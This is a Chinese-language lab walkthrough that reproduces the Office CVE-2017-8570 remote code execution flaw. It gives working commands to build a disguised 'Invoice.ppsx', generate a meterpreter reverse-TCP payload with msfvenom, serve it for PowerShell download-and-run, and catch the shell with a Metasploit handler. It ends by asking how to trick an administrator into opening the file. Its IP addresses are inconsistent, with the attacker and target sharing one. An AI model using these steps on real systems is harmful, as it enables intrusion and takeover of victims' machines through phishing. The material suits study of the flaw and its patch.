Office CVE-2017-8570遠程代碼執行漏洞復現
實驗環境
- 操作機：
Kali LinuxIP：172.16.11.2
- 目標機：
windows7 x64IP：172.16.12.2
實驗目的
- 掌握漏洞的利用方法
實驗工具
Metaspliot：它是一款開源的安全漏洞檢測工具，可以幫助安全和IT專業人士識別安全性問題，驗證漏洞的緩解措施，並管理專家驅動的安全性進行評估，提供真正的安全風險情報。這些功能包括智能開發，代碼審計，Web應用程序掃描，社會工程,團隊合作。
實驗內容
Office CVE-2017-8570
CVE-2017-8570漏洞為一個邏輯漏洞，利用方法簡單，影響範圍廣。由於該漏洞和三年前的SandWorm（沙蟲）漏洞非常類似，因此我們稱之為“沙蟲”二代漏洞：Office全家桶
漏洞介紹
OfficeCVE-2017-85702017年7月，微軟在例行的閱讀補丁中修復了多個Microsoft Office漏洞，其中的CVE-2017-8570漏洞為一個邏輯漏洞，利用方法簡單。網上公布了利用代碼影響範圍廣泛。該漏洞為Microsoft Office的一個遠程代碼執行漏洞。
其成因是Microsof PowerPoint執行時會初始化“script”Moniker對象，而在PowerPoint播放動畫期間會激活該對象，從而執行sct腳本(Windows script Component)文件。攻擊這可以欺騙用戶運行含有該漏洞的PPT文件導致獲取和當前登錄用戶相同的執行權限。
影響版本
- Microsoft Office 2007 Service Pack 3
- Microsoft Office 2010 Service Pack 2 (32-bit editions)
- Microsoft Office 2010 Service Pack 2 (64-bit editions)
- Microsoft Office 2013 RT Service Pack 1
- Microsoft Office 2013 Service Pack 1 (32-bit editions)
- Microsoft Office 2013 Service Pack 1 (64-bit editions)
- Microsoft Office 2016 (32-bit edition)
- Microsoft Office 2016 (64-bit edition)
實驗步驟
步驟1：生成惡意的PPSX文件
我們首先使用Xshell連接Kali機器，點擊桌面Xshell圖標，輸入IP：172.16.12.2，賬號為:root 密碼:123456 ，如圖：
首先我們在Kali中執行如下命令：
cd CVE-2017-8570 //進入exploit的目錄
python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://172.16.12.2/logo.doc //生成ppsx惡意文件
使用ls命令，可以看到已經成功生成了ppsx格式文件。
接下來我們生成惡意PPSX文件通過調用Powershell下載並執行的反彈木馬。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.12.2 LPORT=4444 -f exe > /tmp/shell.exe
其中 -p 參數是 payload的意思，使用的windows的meterpreter的反彈木馬-f參數 指定輸出文件後綴為exe文件再用>重定向輸出到tmp目錄下
接下來輸入如下命令:
python cve-2017-8570_toolkit.py -M exp -e http://172.16.12.2/shell.exe -l /tmp/shell.exe
這段命令是通過腳本在80端口監聽，等待接收ppsx請求並下載執行我們的反彈木馬
接下來進入Metasploit，新建一個Kali`172.16.12.2的連接，設置相關參數，接受返回的Shell
msfconsole
use multi/handler //使用監聽模塊
set payload windows/meterpreter/reverse_tcp //設置Payload
set LHOST 172.16.12.2 //設置本地接收IP
run
可以看到我們的Metaspliot已經在本地開啟監聽
到此我們的所有準備都做好，下一步我們模擬用戶點擊惡意文件
步驟2：目標機器執行惡意PPSX文件
我們使用桌面Xftp軟件，連接上目標機172.16.12.2，將Invoice.ppsx文件拖到當前桌面上。
如圖，他是一個PPT文件，我們模擬用戶雙擊打開它。
執行過程中可以看到代碼通過調用powershell在遠程下載執行我們的惡意木馬，此時已經反彈回了shell
使用命令：
getuid //獲取當前用戶ID
這樣就獲取了目標機器的權限，可以通過Metasploit去執行命令。
實驗結果分析與總結
Office一直是主流的辦公軟件，CVE-2017-8570這個漏洞影響office所有發行版本，當用戶不經意點擊了我們的惡意PPSX文件，那麽我們就可以直接獲取到他的用戶權限，可以看到危害性十分高。
修復方案:
補丁地址：https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8570
思考
- 請思考，我們可以用什麽方式誘發管理員觸發這個漏洞？
Office CVE-2017-8570遠程代碼執行漏洞復現